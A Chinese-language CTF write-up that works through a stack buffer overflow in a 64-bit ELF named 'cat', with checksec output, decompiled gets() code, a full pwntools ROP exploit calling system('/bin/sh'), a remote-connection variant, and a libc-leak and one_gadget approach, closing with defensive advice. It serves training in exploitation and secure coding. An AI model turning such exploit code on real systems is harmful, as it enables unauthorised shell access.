1. 解题环境准备与初步分析
第一次看到这道CTF题目时,我习惯性地先搭建了一个隔离的测试环境。推荐使用VirtualBox配合Kali Linux 2023.2最新版,特别注意要安装完整的工具链:
sudo apt update && sudo apt install -y binutils hexedit radare2 gdb pwntools题目文件是个名为"cat"的64位ELF可执行文件,用file命令确认:
file cat # 输出:cat: ELF 64-bit LSB executable, x86-64...用checksec检查安全机制时发现了关键信息:
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)没有栈保护(Canary)和地址随机化(PIE),这提示可能存在栈溢出漏洞。但NX位开启意味着不能直接执行shellcode,需要考虑ROP等技术手段。
2. 逆向工程与漏洞定位
用Ghidra反编译后,在main函数中发现可疑的gets()调用:
void main(void) { char local_48 [64]; gets(local_48); return; }典型的缓冲区溢出漏洞!local_48只有64字节空间,但gets()会无限制读取输入。通过计算可知,填充72字节(64+8)就能覆盖返回地址。
但单纯覆盖返回地址还不够,需要找到可利用的代码片段。用objdump查找时发现了惊喜:
objdump -d cat | grep "system" # 输出:4006e0 <system@plt>程序本身调用了system函数!进一步搜索字符串:
strings cat | grep "/bin" # 输出:/bin/sh天助我也,程序中已经存在"/bin/sh"字符串和system调用,这意味着我们可以直接构造ROP链调用system("/bin/sh")。
3. 漏洞利用开发过程
首先确定关键地址(需根据实际文件调整):
- system@plt: 0x4006e0
- "/bin/sh"字符串: 0x400828
- pop rdi; ret gadget: 0x4007c3
构造payload结构:
[64字节垃圾数据] + [8字节覆盖RBP] + [pop rdi地址] + [/bin/sh地址] + [system地址]用pwntools编写完整利用代码:
from pwn import * context(arch='amd64', os='linux') p = process('./cat') system = 0x4006e0 binsh = 0x400828 pop_rdi = 0x4007c3 payload = b'A'*72 payload += p64(pop_rdi) payload += p64(binsh) payload += p64(system) p.sendline(payload) p.interactive()测试时发现本地可以getshell,但远程服务器需要调整:
# 远程连接版 r = remote('111.198.29.45', 31111) r.sendline(payload) r.interactive()4. 技术难点与解决方案
问题1:地址偏移不一致远程服务器的libc版本可能不同,导致system地址偏移变化。解决方案是先用puts泄露实际地址:
# 添加泄露代码 payload1 = b'A'*72 + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.sym['main'])问题2:输入长度限制实际测试发现输入超过120字节会被截断。优化方案是精简ROP链,改用one_gadget:
one_gadget cat # 输出:0x4f3d5, 0x4f432, 0x10a41c最终利用策略:
- 第一次发送泄露libc地址
- 计算one_gadget实际地址
- 第二次发送触发onegadget
5. 防御措施与学习要点
这道题展示了经典栈溢出的完整利用过程。在实际开发中应该:
- 永远不使用gets()等危险函数
- 启用所有安全编译选项(-fstack-protector-all, -pie等)
- 对输入进行严格长度检查
通过这道题我深刻体会到:
- 逆向工程要重点关注危险函数调用(gets, strcpy等)
- 利用现有代码片段(如system和/bin/sh)可以简化利用
- 动态调试(gdb+pwndbg)比静态分析更高效
重要提示:实际CTF比赛中可能需要处理ASLR等更复杂情况,这道题是理想化的入门练习。建议下一步尝试有地址随机化的题目,学习内存泄露技术。